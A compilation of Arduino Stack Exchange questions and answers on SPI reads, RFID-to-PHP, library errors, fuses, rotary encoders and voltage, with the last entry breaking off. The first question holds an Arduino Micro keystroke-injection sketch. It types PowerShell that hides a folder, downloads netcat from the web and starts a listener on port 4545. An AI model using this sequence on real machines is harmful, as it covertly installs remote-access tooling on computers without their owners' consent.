# Question
Title: Why does Keyboard.Print adds random values to url?
I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

```
Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

```

I'm passing this link `https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip` to a variable called `$url` and here is the actual output when the command executes

```
  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

```

notice how the $url now has random values in them?

```
https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

```

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to `https://eternallybored.org/misc/netcat/` and copy link location of `netcat 1.11` which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

Full code

```
void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }

```

# Answer
> 0 votes
You have some unicode characters in your URL. Remove them.

```
https://eternallybored.org/misc/netcat/netcat-win32-1.<200c><200b>11.zip
                                                      ^^^^^^^^^^^^

```

---
Tags: programming, arduino-micro, keyboard, arduino-pro-micro, atmega32u4
---


# Question
Title: Creating variable inside if statement (conditional signed vs unsigned int)
I have an SPI chip that I would like to read out with an Arduino. Some of the registers are `signed int` others are `unsigned int`. I am writing a function to read any register.

A simplified version:

```
readRegister(byte thisRegister, char type) {

  if(type == 's'){
    signed int result;
  }else{
    unsigned int result;
  }

  // take the chip select low to select the device:
  SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
  digitalWrite(SlaveSelectPin, LOW);

  //now get the value
  result = SPI.transfer16(thisRegister);

  // finish up
  digitalWrite(SlaveSelectPin, HIGH);
  SPI.endTransaction();

  // return the result:
  return (result);
}

readRegister(0x4B87,'s')  //read signed int register
readRegister(0xB357,'u')  //read unsigned int register

```

However this doesn't work since the variable `result` is created inside the if statement so the scope is wrong. I get `error: 'result' was not declared in this scope` on the `SPI.transfer()` line.

How to solve this?

# Answer
> 1 votes
You could try something like this:

```
int16_t readRegister(byte thisRegister) {
  int16_t result;

  // take the chip select low to select the device:
  SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
  digitalWrite(SlaveSelectPin, LOW);

  //now get the value
  result = SPI.transfer16(thisRegister);

  // finish up
  digitalWrite(SlaveSelectPin, HIGH);
  SPI.endTransaction();

  // return the result:
  return (result);
}

uint16_t readUnsignedRegister(byte theRegister) {
  return (uint16_t) readRegister(theRegister);
}

```

Another alternative is to define a "universal" data type, i.e. a union and necessary cast operators.

```
union univ16_t {
  uint16_t as_uint16;
  int16_t as_int16;

  univ16_t(int value)
  {
    as_int16 = value;
  }

  operator uint16_t()
  {
    return (as_uint16);
  }

  operator int16_t()
  {
    return (as_int16);
  }
};

```

This allows the function to have the following form:

```
univ16_t readRegister(byte thisRegister) {
  int result;

  // take the chip select low to select the device:
  SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
  digitalWrite(SlaveSelectPin, LOW);

  //now get the value
  result = SPI.transfer16(thisRegister);

  // finish up
  digitalWrite(SlaveSelectPin, HIGH);
  SPI.endTransaction();

  // return the result:
  return (result);
}

```

With the two possible assignments.

```
uint16_t reg1 = readRegister(...);
int16_t reg2 = readRegister(...);

```

Cheers!

# Answer
> 0 votes
Based on the comments by Gerben and JRoberts, this is the answer I distilled (correct me if I misunderstood):

Since you need to define a return type of the function anyway, you cannot have a function returning one of two datatypes based on the input.

**So there are basically four approaches:**

1. Write two seperate functions
2. Have only one function and use datatype casting on the result
3. Combination of the above, where the second function is only a wrapper for the first function but with datatype casting.
4. Return both `unsigned int` and `signed int` register values as a `signed long`

**Some extra info:**

**2.** When you cast between signed and unsigned of the same size, you are not changing the bits, you are just changing the way they are being interpreted. So that would work perfectly.

```
my_signed_register = (signed int)readUnsignedRegister(0x4B87)
my_unsigned_register = readUnsignedRegister(0xB357)

```

**3.** The same thing can be done in a function:

```
signed int readSignedRegister(byte theRegister) {
  return (signed int) readUnsignedRegister(theRegister);
}

```

(Also see the answer of Mikael Patel)

**4.** If you want to use one function only, you could set the return type of the function to `signed long`. Because to represent both signed and unsigned ints you need `signed long`. You then read in the bits from the `SPI.transfer` in signed (or unsigned, whatever you like) and then change to `signed long` based on the type given in the function call `'s'` or `'u'`.

# Answer
> 0 votes
Signed ints are capable of being stored in unsigned int, but unsigned its are not \[technically\] capable of being stored in signed ints if the compiler is being pedantic. This is because an unsigned int can store a number between 0 and 0xFFFF where as a signed int can store numbers between -(0x7FFF) and 0x7FFF So if you have a compiler that is doing type checking then you will get problems if you cast an unsigned int to an int, because you *might* loose data.

That said an unsigned in, int, char, long, float or double is just a series of sequential bits held in memory, so if you know what you are doing you can convert a char into an unsigned long and back again. Or you can go the whole hog and store all your variables as void\*.

So to answer the question I think you function should be this:

```
uint16_t readRegister(const byte theRegister);

```

If you want to read a value then you should just call:

```
uint16_t reg1 = readRegister(0x4B87);
int16_t  reg2 = static_cast<int16>(readRegister(0xB357));

```

If you really want a separate function then you might be better just #defining it.

```
#define readSignedRegister(r) {static_cast<int16>(readRegister(r))}
// And you would call it like this.
int16_t  reg2 = readSignedRegister(0xB357);

```

EDIT to correct the type typo and remove word aligned.

# Answer
> 0 votes
One final option that isn't mentioned in any of the above solutions - Create a function that returns both as separate parameters.
I'm not sure why you would ever do this over Mikael Patel's solution, yes it's then a single function but it's not as nice to use. But it is a possible option.

The only possible advantage in using this pass by reference method of returning the value is that it allows the option for the read function to return a flag indicating whether the read failed or not (timeout, invalid address etc...). And even then it would still be more logical to have two functions, one for signed and one for unsigned.

```
void readRegister(byte thisRegister, int16_t *signedValue, uint16_t *unsignedValue) {

  unsigned int result_u;

  // take the chip select low to select the device:
  SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
  digitalWrite(SlaveSelectPin, LOW);

  //now get the value
  result_u = SPI.transfer16(thisRegister);

  // finish up
  digitalWrite(SlaveSelectPin, HIGH);
  SPI.endTransaction();

  if (signedValue)
    *signedValue = (int16_t)result_u;
  if (unsignedValue)
    *signedValue = result_u;
}

void someOtherFunction() {
  uint16_t unsignedRead;
  int16_t signedRead;

  readRegister(0x4B87,&signedRead,NULL);  //read signed int register
  readRegister(0xB357,NULL,&unsignedRead); //read unsigned int register

  //read the register as both signed and unsigned (fairly pointless)
  readRegister(0xA55A,&signedRead,&unsignedRead);

  //read the register and throw the result away
  readRegister(0xA55A,NULL,NULL);
}

```

---
Tags: spi
---


title: How to send arduino data to php code

text:
# Question
Title: How to send arduino data to php code
I'm new to arduino. I'm doing a project where I need to send a RFID UID to php code. The UID will be detected by the arduino and the rest will happen at the php side. for that I need to get this UID at oho side. I'm using RFID-RC522 and arduino mega 2560. how can I do this?

also I found couple of posts about ethernet. is it the only solution for this? if I use an ethernet shield will it block any ports which I'm using on arduino for connecting the RFID things?

thank you

# Answer
> 0 votes
Welcome to SE:Arduino.

Shields are usually designed so that the pins are still fully accessible. The shield has a set of male connectors on the underside and female connectors (same as your Arduino) on the top side. Just Google a pic of a shield and you will see what I mean.

Ethernet is not the only choice, there is Wi-Fi, Bluetooth, NFC, radio and probably a point to point light link. What ever communication method you select, you would need to use HTTP POST messages to your server, so your server will have to implement a REST or SOAP interface. (There are probably other ways, but I'm not a webbie so you will need to ask them on the correct SE forum)

Once you have created your message on the Arduino you send it to your shield, probably by a function call or over a serial interface. You'll get an OK back and all is good.

To find code that does this, just search, someone will have written and example, Adafruit and the Arduino.cc sites are good places to start.

# Answer
> 1 votes
If you can use Wi-Fi, I suggest you to use **ESP8266-01**, it's cheap and usefull ! With this chip you can send all data to your server!

# Answer
> 0 votes
There is a lot of WiFi and ethernet shields, most of them(if not all) will not block your RFID especially if you use Mega2560. You must have a network connection for talking with php server, so YES, you need WiFi or ethernet shield.

Hope i'll help.

Yoav

---
Tags: arduino-mega, rfid
---


# Question
Title: What do I do about a compiler error " variable 'font' must be const"
I am trying to run the test program from Adafruit, with their libraries, for an Arduino controlling a Nokia5110 display and get this error message:

```
Arduino: 1.5.8 (Linux), Board: "Arduino Pro or Pro Mini, ATmega328 (5V, 16 MHz)"

    /home/Harry/Arduino/libraries/Adafruit_GFX/glcdfont.c:9:23: error: variable 'font' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
     static unsigned char  font[] PROGMEM = {
                           ^
    Error compiling.

```

Please can anyone explain this? I can happily give more details, but I am not yet sure how much is needed and the files are rather too long to include them all at this stage.

# Answer
The problem is you're using an old version of the Adafruit GFX Library, which was written for a previous version of the Arduino IDE. You just need to install the latest version of the library and your problem will be solved:

1. Download https://github.com/adafruit/Adafruit-GFX-Library/archive/master.zip
2. Unzip the downloaded file.
3. Rename the unzipped folder Adafruit\_GFX
4. Replace /home/Harry/Arduino/libraries/Adafruit\_GFX with the folder.

If you run into any other problems after doing that I recommend trying the latest version of the Arduino IDE. The version you're using is very outdated.
> 1 votes

# Answer
You can not change variables in PROGMEM memory.
Therefore the variable must be a const variable.
This way the compiler can check whether you try to change the value or not.
> 1 votes

---
Tags: sketch, arduino-pro-mini, compile
---


title: Reset and Remove Arduino ATmega328P?

text:
# Question
Title: Reset and Remove Arduino ATmega328P?
So I have 2 Arduinos, and im wanting to remove the chip from one and reset it to like it came from the factory and then breadboard it and attempt to program it using an AVR programmer (Or maybe an Arduino AS a programmer).

Why? Mainly because I want to make sure I can and understand how to program the chips when I order them standalone and on a breadboard.

Is this possible? I imagine the Arduino bootloader will be on the chip and the fuses will be different, but can I over-write them if I decide to just program it as a standalone AVR chip?

Thanks!

# Answer
> Im just trying to learn AVR programming without the I guess "handholding" of arduino functions/etc.

You don't actually need to do anything. You don't need any breadboard, any programmer, nothing.

You can *use the Arduino environment, upload facility, and board to learn low-level AVR programming*.

Just because the Arduino helper functions exist it doesn't mean you *actually have to use them*.

The first step on your progression to professional embedded developer is to get to grips with low-level registers. You can do all that from within the Arduino environment. You have access to everything in the Arduino IDE that you have in any other IDE in the way of low-level chip functions. They are functions of the chip, not the IDE.

If you want to progress to a professional IDE and use hardware debugging you can still use an Arduino board. After all, it's just an MCU on a PCB. Just plug your hardware programmer into the hardware programming connector on the board. Why mess around with breadboards and all the trouble that they give with dodgy connections? Just because an Arduino has an Arduino logo on it you aren't forced to use it with the Arduino IDE.
> 3 votes

# Answer
I have a sketch that uploads data to various Atmega chips (including the 328P).

Even without an SD card attached you can do things like erase the chip and set fuses. So what I would do is erase the chip (thus the bootloader and any other code are gone), and then set the fuses to the factory defaults.

For the Atmega328P I believe these are:

* Low: 0x62
* High: 0xD9
* Extended: 0xFF
* Lock: 0xFF

Source: http://www.engbedded.com/fusecalc
> 1 votes

# Answer
"and im wanting to remove the chip from one and reset it to like it came from the factory " "Is this possible? "

Yes you can rewrite the atmega328 (used or blank) to reset arduino to factory condition. Yes you can use arduino as a programmer as other answer before implies. If you are using blank new atmega328 you burn new bootloader from arduino IDE to make factory reset arduino uno.

"I imagine the Arduino bootloader will be on the chip and the fuses will be different, but can I over-write them if I decide to just program it as a standalone AVR chip? Is this possible?"

The arduino is a microcontroller development board which of course means you can make the arduinos atmega 328 as standalone on breadboard; in addition to that you can change the fuses to work with different speed crystals-which is what you seem to be asking.
> 1 votes

# Answer
You can initialize any Arduino compatible MCU easily, the procedures are well documented on the Arduino website.

There is even documentation to allow you to build based on the ATMega8L for a minimal system with no external crystal oscillator. This is a little harder to do, but not much.
> 0 votes

---
Tags: avr
---


# Question
Title: How to detect the direction of a rotary encoder?
I'm trying to detect the direction of rotation for an incremental rotary encoder. I'm supposed to get +1 for clockwise and -1 for counter-clockwise. However, I receive random values. Any help appreciated.

Following is the code.

```
const int encoderPinA = 7;
const int encoderPinB = 12;
int val;
int encoderPos = 0;
boolean encoderALast = LOW; // remember the previous pin state

void setup() {
  pinMode(encoderPinA,INPUT);
  pinMode(encoderPinB,INPUT);
  Serial.begin(9600);
}

void loop() {
  analogWrite(3,250); //powering motor
  val = encoder_direction();
  // receive the direction for clockwise 1 and for counter clock wise  -1
  Serial.println(val); // print it in serial monitor
}

int encoder_direction() {
  boolean encoderA = digitalRead(encoderPinA);
  if ((encoderALast == HIGH) && (encoderA == LOW)) {
    if (digitalRead(encoderPinB)) {
      //encoderPos --;
      encoderPos = -1;
    } else {
      //encoderPos ++;
      encoderPos = 1;
    }
    return  encoderPos;
    // return the value either 1 or -1
  }
  encoderALast = encoderA;
}

```

---

```
// using digitalread() code  for four encoders
const int ENCODERS = 4; // the number of encoders
const int encoderPinA[ENCODERS] = { 7, 8, A1 , 2 };
// encoderA pins on 2 and 4
const int encoderPinB[ENCODERS] = { 12, 5, 4 , A2 };
// encoderB pins on 3 and 5
int encoderPos[ ENCODERS] = { 0, 0, 0, 0 };
// initialize the positions to 0
boolean encoderALast[ENCODERS] = { LOW, LOW, LOW, LOW };
// holds last state of encoderA pin

void setup() {
  Serial.begin (9600);
}

int updatePosition(int encoderIndex) {
  boolean encoderA = digitalRead(encoderPinA[encoderIndex]);
  if ((encoderALast[encoderIndex] == HIGH) && (encoderA == LOW)) {
    if (digitalRead(encoderPinB[encoderIndex]) == LOW) {
      //encoderPos[encoderIndex]--;
      encoderPos[encoderIndex] = -1;
    } else {
      //encoderPos[encoderIndex]++;
      encoderPos[encoderIndex] = 1;
    }
    Serial.print("Encoder ");
    Serial.print(encoderIndex+1,DEC);
    Serial.print("=");
    Serial.println (encoderPos[encoderIndex]);
  }
  encoderALast[encoderIndex] = encoderA;
}

void loop() {
  updatePosition(0);
  updatePosition(1);
  updatePosition(2);
  updatePosition(3);
}

```

---

```
// using direct access to digitalread code in order to process faster
int val[4];
int encoderPos = 0;
boolean encoderALast[4] ={LOW, LOW, LOW, LOW};
// remember the previous pin state

void setup() {
  Serial.begin(9600);
}

void loop() {
  for (int ii=0; ii<4;ii++) {
    encoder_direction(ii);
  }
}
int encoder_direction(int m) {
  boolean encoderA;
  boolean encoderB;
  if(m == 0) {
    encoderA = (PIND & _BV (7)) == 0;
    //   digitalRead(7) encoderPinA
    encoderB = (PINB & _BV (4)) == 0;
    // digitalRead(12) encoderPinB
  }
  if (m == 1) {
    encoderA = (PINB & _BV (0)) == 0;
    // digitalRead(8) encoderPinA
    encoderB = (PIND & _BV (5)) == 0;
    // digitalRead(5) encoderPinB
  }
  if (m == 2) {
    encoderA = (PINC & _BV (1)) == 0;
    // digitalRead(A1) encoderPinA
    encoderB = (PIND & _BV (4)) == 0;
    // digitalRead(4)  encoderPinB
  }
  if (m == 3) {
    encoderA = (PIND & _BV (2)) == 0;
    // digitalRead(2) encoderPinA
    encoderB = (PINC & _BV (2)) == 0;
    // digitalRead(A2)  encoderPinB
  }
  if ((encoderALast[m] == HIGH) && (encoderA == LOW)) {
    if (encoderB == LOW) {
      //encoderPos --;
      encoderPos = -1;
    } else {
      //encoderPos ++;
      encoderPos = 1;
    }
    Serial.print(" Encoder ");
    Serial.print(m+1);
    Serial.print(" = ");
    Serial.println(encoderPos);
  }
  encoderALast[m] = encoderA;
}

```

# Answer
I have a page about rotary encoders \- in that I show how you can detect encoder changes (and direction) using one interrupt pin and another pin, like this:

```
// Wiring: Connect common pin of encoder to ground.
// Connect pin A (one of the outer ones) to a pin that can generate interrupts (eg. D2)
// Connect pin B (the other outer one) to another free pin (eg. D5)

volatile bool fired;
volatile bool up;

const byte encoderPinA = 2;
const byte encoderPinB = 5;

// Interrupt Service Routine for a change to encoder pin A
void isr ()
{
  if (digitalRead (encoderPinA))
    up = digitalRead (encoderPinB);
  else
    up = !digitalRead (encoderPinB);
  fired = true;
}  // end of isr

void setup ()
{
  pinMode (encoderPinA, INPUT_PULLUP);     // enable pull-ups
  pinMode (encoderPinB, INPUT_PULLUP);
  attachInterrupt (digitalPinToInterrupt (encoderPinA), isr, CHANGE);   // interrupt 0 is pin 2

  Serial.begin (115200);
}  // end of setup

void loop ()
{
static long rotaryCount = 0;

  if (fired)
    {
    if (up)
      rotaryCount++;
    else
      rotaryCount--;
    fired = false;

    Serial.print ("Count = ");
    Serial.println (rotaryCount);
    }  // end if fired

}  // end of loop

```

In the main loop you just need to test the boolean `fired` to see if the encoder changed, and `up` to see if it went up (otherwise it went down).

---

> I receive random of these values ...

I think with your code you need to detect **a change** \- that is, if the encoder pin is now `HIGH` but was previously `LOW`.

---

# Solution for 4 encoders

> The problem is I am working on four encoders ...

I have reworked my code to use pin-change interrupts instead of external interrupts.

```
// Wiring: Connect common pin of encoder to ground.

volatile bool fired;

const byte ENCODERS = 4;

typedef struct
  {
  int aPin;     // which Arduino pin for the "A" side
  int bPin;     // which Arduino pin for the "B" side

  // values below are calculated at run-time
  volatile byte * aPort;  // which processor port the A side is plugged into
  volatile byte * bPort;  // which processor port the B side is plugged into
  byte aBitMask;   // which bit in the A port
  byte bBitMask;   // which bit in the B port
  byte whichInterrupt;  // which pin-change interrupt port (0, 1, 2)
  byte oldValue;   // old value of A port (to see if it changed)
  int count;       // current encoder counter
  } encoder;

 volatile encoder encoders [ENCODERS] =
  {

 // A   B  pins  (eg. D4 and D8, D5 and D9 and so on)

  { 4,  8 },
  { 5,  9 },
  { 6, 10 },
  { 7, 11 },

  };  // end of encoders

void checkForPinChange (const byte which)
  {
  for (byte i = 0; i < ENCODERS; i++)
    {
    if (encoders [i].whichInterrupt == which)
      {
      byte newValue = *(encoders [i].aPort) & encoders [i].aBitMask;
      if (newValue != encoders [i].oldValue)
        {
        bool up;
        byte bPort = *(encoders [i].bPort) & encoders [i].bBitMask;
        if (newValue)
          up = bPort;
        else
          up = !bPort;
        fired = true;
        if (up)
          encoders [i].count++;
        else
          encoders [i].count--;
        encoders [i].oldValue = newValue;
        }  // end of if value has changed
      }   // end of if this is the right interrupt number
    }     // end of for each encoder
  } // end of checkForPinChange

// handle pin change interrupt for D8 to D13 here
ISR (PCINT0_vect)
 {
 checkForPinChange (PCIE0);
 }  // end of PCINT0_vect

// handle pin change interrupt for A0 to A5 here
ISR (PCINT1_vect)
 {
 checkForPinChange (PCIE1);
 }  // end of PCINT1_vect

// handle pin change interrupt for D0 to D7 here
ISR (PCINT2_vect)
 {
 checkForPinChange (PCIE2);
 }  // end of PCINT2_vect

void setup ()
{
 Serial.begin (115200);
 Serial.println ("Starting ...");

 PCIFR  |= bit (PCIF0) | bit (PCIF1) | bit (PCIF2);   // clear any outstanding interrupts

 for (byte i = 0; i < ENCODERS; i++)
    {
    pinMode (encoders [i].aPin, INPUT_PULLUP);
    pinMode (encoders [i].bPin, INPUT_PULLUP);
    // convert pin number to port, mask, etc. for efficiency

    // Input port
    encoders [i].aPort = portInputRegister (digitalPinToPort (encoders [i].aPin));
    encoders [i].bPort = portInputRegister (digitalPinToPort (encoders [i].bPin));

    // Which bit in the port to test
    encoders [i].aBitMask = digitalPinToBitMask (encoders [i].aPin);
    encoders [i].bBitMask = digitalPinToBitMask (encoders [i].bPin);

    // Which interrupt number (0, 1, 2)
    encoders [i].whichInterrupt = digitalPinToPCICRbit (encoders [i].aPin);

    // activate this pin-change interrupt bit (eg. PCMSK0, PCMSK1, PCMSK2)
    volatile byte * ICRmaskPort = digitalPinToPCMSK (encoders [i].aPin);
    *ICRmaskPort  |= bit (digitalPinToPCMSKbit (encoders [i].aPin));

    // enable this pin-change interrupt
    PCICR |= bit (digitalPinToPCICRbit (encoders [i].aPin));

    } // end of for each encoder

}  // end of setup

void loop ()
{
  if (fired)
    {
    for (byte i = 0; i < ENCODERS; i++)
      {
      char buf [10];
      sprintf (buf, "%5d", encoders [i].count);
      Serial.print (buf);
      }
    Serial.println ();
    fired = false;
    }  // end if fired

}  // end of loop

```

The code is general enough to handle 1 to x encoders (eg. 10 encoders) - within reason! You need to have 2 pins spare per encoder (the third pin goes to ground). One of the pins needs to be capable of pin-change interrupts (on the Uno that is all of them).

The code sets up to detect an interrupt on the "A" side of the encoder and tests the value on the "B" side to see if it was turned clockwise or counter-clockwise.

I am getting results like this (with 2 encoders connected):

```
   16  -19    1    1
   17  -19    1    1
   18  -19    1    1
   19  -19    1    1
   20  -19    1    1
   21  -19    1    1
   22  -19    1    1
   23  -19    1    1
   23  -20    1    1
   23  -21    1    1
   23  -22    1    1
   23  -23    1    1
   23  -24    1    1
   23  -25    1    1

```

The other two are showing as "1" (that is, not turned yet).
> 6 votes

# Answer
Using polling to read multiple encoders may work if you program quite carefully and if you dedicate the processor just to reading encoders; but generally, interrupt-driven encoder processing has a higher likelihood of working ok. The example below uses pin-change interrupts to read from three rotary encoders that are attached to PD2...PD7, ie, six consecutive bits of port D. It can be extended to more encoders by adding another pin-change ISR to handle another interrupt vector, or by using PD0 and PD1 as encoder inputs. (However, PD0 and PD1 are RX and TX on the Uno I'm testing with, and I'm using Serial for test output.)

*Example: rotors3.ino*

```
/*  Rotors3 -- JW, December 2016 -- Uses 4-state state-machine
 *  implementation of rotary encoding for KY-040 rotary knobs.  The
 *  state-machine picture in a Feb 4, 2014 7:40 PM post at
 *  https://e2e.ti.com/support/microcontrollers/hercules/f/312/t/318762
 *  by Anthony Seely shows counts increasing on transitions 10 -> 11
 *  -> 01 -> 00 -> 10 and decreasing on transitions the other way.
 *  The ISR in this program decodes those transitions using logical
 *  operations on variables `changes` and `wayflag`.  Transitions
 *  between 00 and 11 or 10 and 01 are invalid and ignored.
 */

volatile byte abOld;        // Old state
volatile byte changedCount; // Change-indication
volatile int count[3];      // current rotary count

void setupRotors3(byte ioMode, byte enablePCI) {
  pinMode( 2, ioMode); //  2, PD2   PCINT 18
  pinMode( 3, ioMode); //  3, PD3   PCINT 19
  pinMode( 4, ioMode); //  4, PD4   PCINT 20
  pinMode( 5, ioMode); //  5, PD5   PCINT 21
  pinMode( 6, ioMode); //  6, PD6   PCINT 22
  pinMode( 7, ioMode); //  7, PD7   PCINT 23
  if (enablePCI) {
    PCMSK2 |= 0xfc; // Set mask for bits of interest
    PCIFR  |= 0x04; // Clear PC interrupts if any
    PCICR  |= 0x04; // Enable PC interrupts
  }
  abOld = changedCount = count[0] = count[1] = count[2] = 0;
}

void setup() {
  setupRotors3(INPUT_PULLUP, true);
  Serial.begin(115200);
  Serial.println("Starting Rotary Encoder Test");
}

// On interrupt, read input pins, compute new states, and adjust
// counts.  This code depends on encoder data appearing like ddccbbaa,
// ie data is in properly paired consecutive port bits.
ISR(PCINT2_vect) {
  byte abNew = PIND & 0xfc; // Read pins  2, 3, 4, 5, 6, 7,
  byte changes = abNew^abOld;   // Use XOR to flag changed bits
  char wayflag = 2*abNew^abNew; // Use XOR to get state-bits
  byte test2;
  for (byte i=0; i<3; ++i) {
    // For PD2-7, low 2 bits aren't relevant.  Move the shifts to
    // end of for loop if low 2 bits carry encoder info.
    wayflag >>= 2;      // Discard low state-bits
    changes >>= 2;      // Discard low change-bits
    test2 = changes & 3;    // Get 2 bits of interest
    if (test2==1) {
      count[i] += 1-(wayflag&2);
      changedCount = true;
    } else
      if (test2==2) {
        count[i] -= 1-(wayflag&2);
        changedCount = true;
      }
  }
  abOld = abNew;        // Save new state
}

void loop() {
  if (changedCount) {
    changedCount = false;   // Race condition can be ignored
    for (byte i=0; i<3; ++i) {
      Serial.print(count[i]);   // Announce counts
      Serial.print("  ");
    }
    Serial.println(millis());   // Announce change-time
  }
}

```

Note, `setupRotors3()` and a few other statements in the program were generated using the *ISR-framework-generating Sketch* from an answer to an earlier question. If you need to use other input pins than those shown in the program above, you can use the framework generator to produce a setup routine and port-I/O statements for them.

Following is some output from the program as above, from when I turn two of the three 60-counts-per-turn encoders as fast as I can by hand, for half a turn each at the same time (about 4 RPS, or 240 RPM).

```
-2  1  0  1127
-2  2  0  1133
-2  3  0  1148
-2  4  0  1155
-3  4  0  1165
-3  5  0  1166
-4  5  0  1169
-4  6  0  1170
-5  6  0  1174
-5  7  0  1177
-6  7  0  1178
-6  8  0  1181
-7  8  0  1184
-7  9  0  1187
-8  9  0  1189
-8  10  0  1190
-9  10  0  1196
-9  11  0  1197
-10  12  0  1200
-10  12  0  1201
-11  12  0  1205
-11  13  0  1207
-12  13  0  1210
-12  14  0  1211
-12  15  0  1215
-13  15  0  1216
-13  16  0  1220
-14  16  0  1221
-15  16  0  1224
-15  17  0  1226
-16  17  0  1229
-16  18  0  1230
-17  18  0  1234
-17  19  0  1235
-18  19  0  1239
-18  20  0  1241
-19  20  0  1243
-19  21  0  1247
-20  21  0  1248
-21  21  0  1251
-21  22  0  1252
-22  22  0  1255
-22  23  0  1258
-23  23  0  1259
-24  23  0  1263
-24  24  0  1264
-25  24  0  1266
-25  25  0  1269
-26  25  0  1271
-27  25  0  1275
-27  26  0  1275
-28  26  0  1280
-28  27  0  1281
-29  27  0  1284
-29  28  0  1288
-30  28  0  1291
-31  28  0  1301
-31  29  0  1341
-32  29  0  1346
-32  30  0  1385
-33  30  0  1389

```
> 3 votes

---
Tags: arduino-uno, rotary-encoder
---


# Question
Title: Can I change VCC pin to 3.3V on a 5V Arduino Pro Micro?
I'm using a 5V Arduino Pro Micro (schematic).

For my project, I'm using the VCC pin to output power to an external device. I need VCC to output 3.3V to the external device. Can I open jumper SJ1 to reduce the voltage of the VCC pin without affecting the operation of the other parts of the unit?

# Answer
> 5 votes
No. If you change the voltage to 3,3 Volt you also have to change the crystal to 8MHz and reprogram the ATmega32u4 to meet the new frequency.

# Answer
> 3 votes
I'm pretty sure that, despite the schematic provided, you will find that the 5V Pro Micro actually has a 5V regulator onboard. So even if you open the jumper, it will still be powering the Atmega32u4 at 5V (technically 5V minus diode voltage drop and regulator dropout voltage).

You could change the regulator for a 3.3V one using a hot air station and solder paste *and* open the jumper, but as other posters have commented, you would still be running the Atmega beyond spec at 16MHz and 3.3V.

# Answer
> 2 votes
You can, actually albeit 32u4 at 16MHz at 3.3V is outside of the safe operating area, it worked for me perfectly. Also for others :) google for it.

# Answer
> 1 votes
I had the same issue on my cheap 5V @ 16Mhz Pro Micro from ebay. I have the 16Mhz crystal and a voltage regulator marked S2PC. The J1 was not bridged and I was only getting 3.3V on the digital pins... wait a sec that should be 5V!! I Went ahead and bridged the J1 jumper and now I am getting 5V on my digital pins! Not sure what is going on behind the scenes with the J1 jumper open with this hardware but I'm thinking it may have been overclocking the chip while running at the lower voltage. Going to let it run over night and see if something doesn't blow but it looks like they may have just forgot to bridge that J1 whilst mass producing both the 3.3V and 5V versions of this board.

---
Tags: power, voltage-level, resistor
---


# Question
Title: Setup J-K Flip-flop for logging on Arduino RESET
There are two events I plan to log; using no switches or requiring manual input of some kind. One of the events is whenever the Arduino Serial Monitor is opened; the other, is when external event occurs that causes a Arduino RESET. Second event produces a LOW pulse used to CLK the J-K Flip-flop. digitalRead of J-K Flip-flop Q; using a conditional statement, if Q = HIGH log to SD Card as event1 date/time stamp else log to SD Card as event2 date/time stamp. I need the J-K Output Q to be STORED thru the Arduino RESET, so Q can be read.

After reading Q, will need to clear Q; plan to do this from running sketch with a DigitalWrite

74HC73 is the chip I plan to use; it is triggered with a negative going CLK.

What needs to happen with the J and K inputs? Will this work in toggle mode; with both J and K tried to +5 volts?

# Answer
Rather than having events that set 1Q or 2Q, consider having the external events take 1R\ or 2R\ low, to reset 1Q or 2Q. When your sketch starts up, it would read 1Q and 2Q. If one or the other is low, its event occurred and you can log it. Then the sketch sets both Q's by dropping the CP lines with J's wired high and K's wired low. You'd use three I/O pins: two for reading 1Q and 2Q, one for strobing the CP lines to set the Q's after reading them.

Arduino AVR pins default to inputs on Reset so the Arduino can reset without affecting the 74HC73's state. A 10 to 20KΩ resistor to passively pull the CP lines high is reasonable.

*Edit:* Note, 1R\ and 2R\ operate asynchronously, and are independent of clock inputs. This leads to simpler interface requirements for your external events. However, it may also increase sensitivity to electrical noise; if your system is in a noisy environment a different approach might be needed.
> 0 votes

# Answer
My resolution:

